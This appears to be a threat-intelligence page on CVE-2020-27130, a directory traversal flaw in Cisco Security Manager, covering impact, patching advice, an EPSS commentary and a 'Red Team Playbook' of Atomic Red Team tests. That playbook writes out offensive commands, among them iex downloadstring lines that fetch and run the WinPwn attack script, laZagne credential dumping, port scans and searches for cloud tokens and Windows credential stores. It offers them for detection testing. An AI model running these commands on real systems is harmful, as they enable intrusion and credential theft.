CVE-2020-27130
Overview
This vulnerability is a directory traversal flaw in Cisco Security Manager caused by improper validation of directory traversal character sequences within HTTP requests. The affected component fails to sanitize input paths, allowing crafted requests to bypass normal file access restrictions. The flaw exists in the request handling mechanism of the device's management interface, enabling unauthorized file system access.
Vulnerability Description
A vulnerability in Cisco Security Manager could allow an unauthenticated, remote attacker to gain access to sensitive information. The vulnerability is due to improper validation of directory traversal character sequences within requests to an affected device. An attacker could exploit this vulnerability by sending a crafted request to the affected device. A successful exploit could allow the attacker to download arbitrary files from the affected device.
Impact
An unauthenticated remote attacker can exploit this vulnerability to download arbitrary sensitive files from the affected Cisco Security Manager device, potentially exposing confidential configuration data or credentials. The exploit requires only network access to the device’s management interface and no user interaction, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. This can lead to data breaches and compromise of the security posture of the managed network environment.
Solution
Cisco has released a security advisory (cisco-sa-csm-path-trav-NgeRnqgR) addressing this vulnerability in Cisco Security Manager. Administrators should apply the updates provided in the advisory promptly to affected versions. The advisory includes detailed patch instructions and recommended mitigation steps. Refer to Cisco’s official security center for the latest software versions and configuration guidance to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with Cisco Security Manager stems from improper validation of directory traversal character sequences within requests directed at the affected device. This flaw allows an unauthenticated remote attacker to manipulate file paths in such a way that they can access sensitive files stored on the device. The exploitation occurs when an attacker crafts a specific request that includes these traversal sequences, enabling them to bypass security controls and gain unauthorized access to files that should otherwise be protected. This type of vulnerability is particularly concerning as it can lead to the exposure of sensitive configuration files, logs, or other critical data that could be leveraged for further attacks.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may initiate the process by sending specially crafted HTTP requests to the Cisco Security Manager. If the device fails to properly sanitize these requests, the attacker can exploit the directory traversal flaw to navigate the file system and download arbitrary files. This could include sensitive information such as user credentials, configuration settings, or even proprietary data. The simplicity of this attack vector, requiring only network access and the ability to craft HTTP requests, makes it accessible to a wide range of potential attackers, from script kiddies to more sophisticated threat actors.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on Cisco Security Manager for their security operations. The potential for unauthorized access to sensitive information poses a serious business risk, including data breaches, loss of intellectual property, and damage to reputation. Organizations may face regulatory repercussions if sensitive data is exposed, especially if it includes personally identifiable information (PII) or other regulated data types. Furthermore, the financial implications of remediation efforts, potential legal liabilities, and loss of customer trust can be substantial, making it imperative for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in their systems, including this specific flaw. Additionally, organizations should monitor network traffic for unusual patterns that may indicate exploitation attempts. Applying security patches and updates provided by Cisco is crucial, as these updates often contain fixes for known vulnerabilities. Furthermore, implementing strict access controls and network segmentation can help limit the exposure of critical systems to unauthorized access, reducing the overall attack surface.
In conclusion, the vulnerability in Cisco Security Manager highlights the importance of robust security practices and proactive risk management. The ease of exploitation combined with the potential for significant impact underscores the need for organizations to remain vigilant in their cybersecurity efforts. By understanding the technical details of such vulnerabilities, recognizing the various attack vectors, and implementing effective detection and mitigation strategies, organizations can better protect themselves against the evolving landscape of cyber threats.
CSURFACE threat intelligence has detected a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2020-27130, with the score increasing by over 300% to a current level placing it in the 0.99th percentile. This sharp rise indicates a rapidly growing likelihood of exploitation attempts in the near term, despite no new public exploit code or active campaigns being observed by our telemetry. The increasing EPSS score reflects heightened attacker interest and potential weaponization, which elevates the urgency for defenders to prioritize monitoring and detection related to this vulnerability. Consequently, the risk profile for CVE-2020-27130 has shifted from moderate concern to a critical threat vector, underscoring the need for heightened vigilance within affected environments.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Security Manager | All |
cpe:2.3:a:cisco:security_manager:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-27130 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-csm-path-trav-NgeRnqgR |